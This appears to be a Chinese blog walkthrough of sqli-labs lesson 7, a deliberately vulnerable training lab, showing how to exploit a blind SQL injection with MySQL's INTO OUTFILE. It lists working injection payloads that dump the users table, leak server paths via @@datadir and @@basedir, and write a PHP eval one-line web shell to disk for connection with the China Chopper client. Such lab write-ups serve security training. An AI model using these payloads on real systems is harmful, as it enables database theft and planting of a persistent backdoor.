当前位置: 代码迷 >> 综合 >> sqli-labs练习(七)-----GET-Dump into outfile-String
  详细解决方案

sqli-labs练习(七)-----GET-Dump into outfile-String

热度:54   发布时间:2023-09-23 00:58:44.0

sqli-labs练习(七)-----GET-Dump into outfile-String

根据提示,输入id参数1
sqli-labs练习(七)-----GET-Dump into outfile-String
输入1'出现报错信息,可是并没有错误的描述信息
sqli-labs练习(七)-----GET-Dump into outfile-String
输入1",返回正常
sqli-labs练习(七)-----GET-Dump into outfile-String
这里和前面基本一样,只有两种回显结果,但是唯一的区别就是错误回显并没有详细的错误描述。这下不好办了,怎么才能从数据库得到我们想要的数据呢???


注意返回正常时的回显语句You are in.... Use outfile......可以看到,这里给出了提示Use outfile......敲黑板!!!这就是出路啊。

关于mysql 的outfile的用法及说明,可以看这篇博文https://blog.csdn.net/jcy1009015337/article/details/53038104
简单的说,就是用该方法可以将查询到的结果输出到文件中。这就很美好了,因为在前台无法输出我们想得到的数据,通过该方法,那么我们仍然可以得到查询结果。

构造语句,输入
1')) union select * into outfile 'D://data.txt' from users%23
报错,,,,在D盘下也并没有发现data.txt文件
sqli-labs练习(七)-----GET-Dump into outfile-String
查找原因,发现是mysql在配置文件中限制了导入导出的路径,没办法,要想达到我们的目的,就要知道这个路径,那么如何获取这个路径呢?

  • @@datadir数据库存储路径
  • @@basedir mysql安装路径
    由于在第七节中无法输出信息,所以我们在前几节中构造语句来输出这两个信息,比如借助第一节
    0' union select 1,@@datadir,@@basedir%23
    sqli-labs练习(七)-----GET-Dump into outfile-String

构造以下语句上传一句话木马,
1')) union select 1,2,'<?php @eval($_POST["aaa"]);?>' into outfile 'e:\\wamp64\\tmp\\data.php'%23
sqli-labs练习(七)-----GET-Dump into outfile-String
虽然有报错,但是仍然生成了data.php文件在e:\\wamp64\\tmp\\
sqli-labs练习(七)-----GET-Dump into outfile-String
用菜刀连接
sqli-labs练习(七)-----GET-Dump into outfile-String

  相关解决方案